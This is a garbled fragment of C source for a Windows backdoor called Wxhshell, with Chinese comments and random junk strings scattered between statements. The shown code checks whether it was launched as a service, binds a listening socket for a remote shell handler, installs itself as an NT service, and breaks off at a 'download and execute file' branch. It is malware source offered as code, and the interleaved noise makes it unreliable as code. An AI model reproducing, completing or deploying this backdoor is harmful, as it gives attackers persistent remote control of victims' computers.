hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {faIyKtW if(!hProcess) return 0; aM(x--UR= ~R50-O if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +oL@pp0 6RDy2JAOP CloseHandle(hProcess); NOKU2d4 G JV_VM{w{K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0sTR`Xk if(hProcess==NULL) return 0; 2<n@%'OQp q%dbx:y# HMODULE hMod; %Y>E char procName[255]; qB&Je$_uh unsigned long cbNeeded; o^m?w0 \ uL^`uI#I if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ia_lP n7yp6Db CloseHandle(hProcess); S5d c] t@3 m if(strstr(procName,"services")) return 1; // 以服务启动 OkfxX&n =G"ney2 return 0; // 注册表启动 dC|6z/ } ww #kc!' TBRG
D l // 主模块 k+vfZ9bD(J int StartWxhshell(LPSTR lpCmdLine) {^1'' { /bPs0>5 SOCKET wsl; !&NrbiuN BOOL val=TRUE; *[|+5LVn int port=0; -3guuT3x\ struct sockaddr_in door; iRbe$v&N E+#<WK- if(wscfg.ws_autoins) Install(); ivyaGAF}+o =O-irGms* port=atoi(lpCmdLine); ?~!9\dek, #qpP37G if(port<=0) port=wscfg.ws_port; 1<5Ug8q Vzo<ma^ WSADATA data; n.z,-H17 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
?r@^9 Hmt2~>FI[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @BF1X.4-+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #sDb611}# door.sin_family = AF_INET; C/'w door.sin_addr.s_addr = inet_addr("127.0.0.1"); VpSpj/\m)' door.sin_port = htons(port); &I[` .:NJ ! ?/:p. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pg{1' - closesocket(wsl); _53~D= return 1; qb/}&J7+ } Lj9RF<39g o:fe`#t if(listen(wsl,2) == INVALID_SOCKET) { @un+y9m[C closesocket(wsl); l`i97P?/W return 1; x5mg<y2`Ng } )>S,#_e*b Wxhshell(wsl); %yu =,J j WSACleanup(); }v4dOGc? xLDD;Qm, return 0; 2\QsF,@`YU q$mc{F($D } *8/Xh)B; IA({RE // 以NT服务方式启动
^B%=P VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) . R/y`:1:W { x|(pmqIH+ DWORD status = 0; m<#12#D DWORD specificError = 0xfffffff; .\glNH1d G0Qw&
mqF serviceStatus.dwServiceType = SERVICE_WIN32;
});Rjg serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9;?u% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e)g&q'O serviceStatus.dwWin32ExitCode = 0; 7K:V<vX5 serviceStatus.dwServiceSpecificExitCode = 0; +8T^q, serviceStatus.dwCheckPoint = 0; !W9:)5^X serviceStatus.dwWaitHint = 0; LzNfMvh ?!6Itkg hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $t(v `, if (hServiceStatusHandle==0) return; Qop,~yK b' y*\9Ru status = GetLastError(); yy7(')wKO if (status!=NO_ERROR) '=n?^EPE3 { e12QYoh serviceStatus.dwCurrentState = SERVICE_STOPPED; hEQyaDD; serviceStatus.dwCheckPoint = 0; 0f.jW O serviceStatus.dwWaitHint = 0; wG3b{0 serviceStatus.dwWin32ExitCode = status; D3X4@sM serviceStatus.dwServiceSpecificExitCode = specificError; 7RL J SetServiceStatus(hServiceStatusHandle, &serviceStatus); VNHceH return; hx$61E= } {_-kwg{"( ~v.mbh serviceStatus.dwCurrentState = SERVICE_RUNNING; ^w60AqR8 serviceStatus.dwCheckPoint = 0;
?<EzILM serviceStatus.dwWaitHint = 0; ew~Z/ A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %8FfP5# } c$Kc,`2m7 S\g9@g. // 处理NT服务事件,比如:启动、停止 lFjz*g2' VOID WINAPI NTServiceHandler(DWORD fdwControl) ?e$&=FC0; { -3{Q`@F switch(fdwControl) p"ZvA^d\ { 0Z1ksfLU case SERVICE_CONTROL_STOP: wtTy(j,9 serviceStatus.dwWin32ExitCode = 0; Rql/@j`JX serviceStatus.dwCurrentState = SERVICE_STOPPED; $r/$aq=K serviceStatus.dwCheckPoint = 0; /?'~`4!( serviceStatus.dwWaitHint = 0; G%
tlV&In { hCcI]#S& SetServiceStatus(hServiceStatusHandle, &serviceStatus); tOiz tYu } ]y_:+SHc return; mWT+15\5r( case SERVICE_CONTROL_PAUSE: $0_K&_5w~ serviceStatus.dwCurrentState = SERVICE_PAUSED; xsZG(Tz break; IzpE|8l case SERVICE_CONTROL_CONTINUE: ,|A^ <R` serviceStatus.dwCurrentState = SERVICE_RUNNING; d`^3fr'.4A break; ^k=<+*9 case SERVICE_CONTROL_INTERROGATE:
k pgA2u7 break; 3 7BSJ }; =!'9TS SetServiceStatus(hServiceStatusHandle, &serviceStatus); \f9WpAY } IVNH.g' 72dRp!JU // 标准应用程序主函数 0;bdwIP3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :#YC_
id { Y)sB]!hx hIe .Mv-I) // 获取操作系统版本 YEu+kBlcQ OsIsNt=GetOsVer(); a
!VWWUTm? GetModuleFileName(NULL,ExeFile,MAX_PATH); #
e?B Kb%Y%j // 从命令行安装 Z/ q6Q# if(strpbrk(lpCmdLine,"iI")) Install(); <_YdN)x 1Wpu // 下载执行文件 IuXgxR% if(wscfg.ws_downexe) { 1&bo |